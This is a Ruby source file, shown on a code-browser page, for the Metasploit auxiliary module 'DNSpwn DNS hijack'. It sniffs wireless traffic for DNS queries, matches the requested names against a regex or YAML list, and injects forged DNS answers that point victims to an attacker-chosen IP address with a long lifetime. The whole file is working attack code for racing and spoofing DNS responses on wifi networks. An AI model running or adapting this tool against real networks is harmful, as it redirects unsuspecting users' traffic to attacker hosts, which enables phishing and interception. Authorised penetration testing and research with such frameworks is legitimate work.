root / modules / auxiliary / spoof / wifi / dnspwn.rb @ master
History | View | Annotate | Download (3.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
require 'yaml'
|
| 14 |
require 'net/dns/packet'
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Auxiliary |
| 17 |
|
| 18 |
include Msf::Exploit::Capture |
| 19 |
include Msf::Exploit::Lorcon2 |
| 20 |
include Msf::Auxiliary::Report |
| 21 |
|
| 22 |
def initialize |
| 23 |
super(
|
| 24 |
'Name' => 'DNSpwn DNS hijack', |
| 25 |
'Version' => '$Revision$', |
| 26 |
'Description' => %q{ |
| 27 |
Race DNS responses and replace DNS queries |
| 28 |
},
|
| 29 |
'Author' => ['dragorn'], |
| 30 |
'License' => MSF_LICENSE |
| 31 |
) |
| 32 |
|
| 33 |
register_options( |
| 34 |
[ |
| 35 |
OptPath.new('DNSLIST', [ false, "YAML file of DNS entries for replacement", |
| 36 |
File.join(Msf::Config.install_root, "data", "exploits", "wifi", "dnspwn", "dnslist.yml") |
| 37 |
]), |
| 38 |
OptBool.new('USEDNSFILE', [ true, "Use dns list file for response", "false"]), |
| 39 |
OptString.new('FILTER', [ true, "Default BPF filter", "port 53"]), |
| 40 |
OptString.new('IP', [ true, "IP for host resolution", "1.2.3.4" ]), |
| 41 |
OptString.new('DURATION', [ true, "Duration of spoofed IP record", "99999" ]), |
| 42 |
OptString.new('MATCH', [ true, "Match for DNS name replacement", "(.*)"]), |
| 43 |
], self.class)
|
| 44 |
end
|
| 45 |
|
| 46 |
def run |
| 47 |
|
| 48 |
@dnslist = datastore['DNSLIST'] |
| 49 |
@regex = datastore['MATCH'] |
| 50 |
@response = datastore['IP'] |
| 51 |
@filter = datastore['FILTER'] |
| 52 |
@duration = datastore['DURATION'] |
| 53 |
@useyaml = datastore['USEDNSFILE'] |
| 54 |
|
| 55 |
@dns = []
|
| 56 |
|
| 57 |
if @useyaml |
| 58 |
begin
|
| 59 |
@dns = YAML::load_file(@dnslist) |
| 60 |
rescue ::Exception => e |
| 61 |
print_error "DNSPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}"
|
| 62 |
end
|
| 63 |
else
|
| 64 |
@dns[0] = { "regex" => @regex, "response" => @response, "duration" => @duration } |
| 65 |
end
|
| 66 |
|
| 67 |
@run = true |
| 68 |
|
| 69 |
open_wifi |
| 70 |
|
| 71 |
self.wifi.filter = @filter if not @filter.empty? |
| 72 |
each_packet do |pkt|
|
| 73 |
d3 = pkt.dot3 |
| 74 |
|
| 75 |
next if not d3 |
| 76 |
p = PacketFu::Packet.parse(d3) rescue nil |
| 77 |
next unless p.is_udp? |
| 78 |
|
| 79 |
dns = Net::DNS::Packet::parse(p.payload) rescue nil |
| 80 |
next unless dns |
| 81 |
|
| 82 |
next if dns.answer.size != 0 |
| 83 |
next if dns.question.size == 0 |
| 84 |
|
| 85 |
@dns.each do |r| |
| 86 |
hit = nil
|
| 87 |
r['regex'].each do |reg| |
| 88 |
hit = dns.question[0].qName.scan(/#{reg}/) || nil |
| 89 |
break if hit.size != 0 |
| 90 |
end
|
| 91 |
next if hit.size.zero? |
| 92 |
|
| 93 |
print_status("DNSPWN: %s -> %s req %s transaction id %u (response %s)" % [p.ip_saddr, p.ip_daddr, dns.header.id, r["response"] ]) |
| 94 |
|
| 95 |
injpkt = Lorcon::Packet.new() |
| 96 |
injpkt.bssid = pkt.bssid |
| 97 |
|
| 98 |
response_pkt = PacketFu::UDPPacket.new |
| 99 |
response_pkt.eth_daddr = p.eth_saddr |
| 100 |
response_pkt.eth_saddr = p.eth_daddr |
| 101 |
response_pkt.ip_saddr = p.ip_daddr |
| 102 |
response_pkt.ip_daddr = p.ip_saddr |
| 103 |
response_pkt.ip_ttl = p.ip_ttl |
| 104 |
response_pkt.udp_sport = p.udp_dport |
| 105 |
response_pkt.udp_dport = p.udp_sport |
| 106 |
|
| 107 |
dns.header.qr = 1
|
| 108 |
dns.answer = Net::DNS::RR::A.new("%s %s IN A %s", dns.question[0].qName, r["duration"], r["response"]) |
| 109 |
|
| 110 |
response_pkt.payload = dns.data |
| 111 |
response_pkt.recalc |
| 112 |
|
| 113 |
injpkt.dot3 = response_pkt.to_s |
| 114 |
|
| 115 |
if (pkt.direction == Lorcon::Packet::LORCON_FROM_DS) |
| 116 |
injpkt.direction = Lorcon::Packet::LORCON_TO_DS |
| 117 |
elsif (pkt.direction == Lorcon::Packet::LORCON_TO_DS) |
| 118 |
injpkt.direction = Lorcon::Packet::LORCON_FROM_DS |
| 119 |
else
|
| 120 |
injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS |
| 121 |
end
|
| 122 |
|
| 123 |
self.wifi.inject(injpkt) or print_error("DNSPWN failed to inject packet: " + tx.error) |
| 124 |
end
|
| 125 |
end
|
| 126 |
end
|
| 127 |
end
|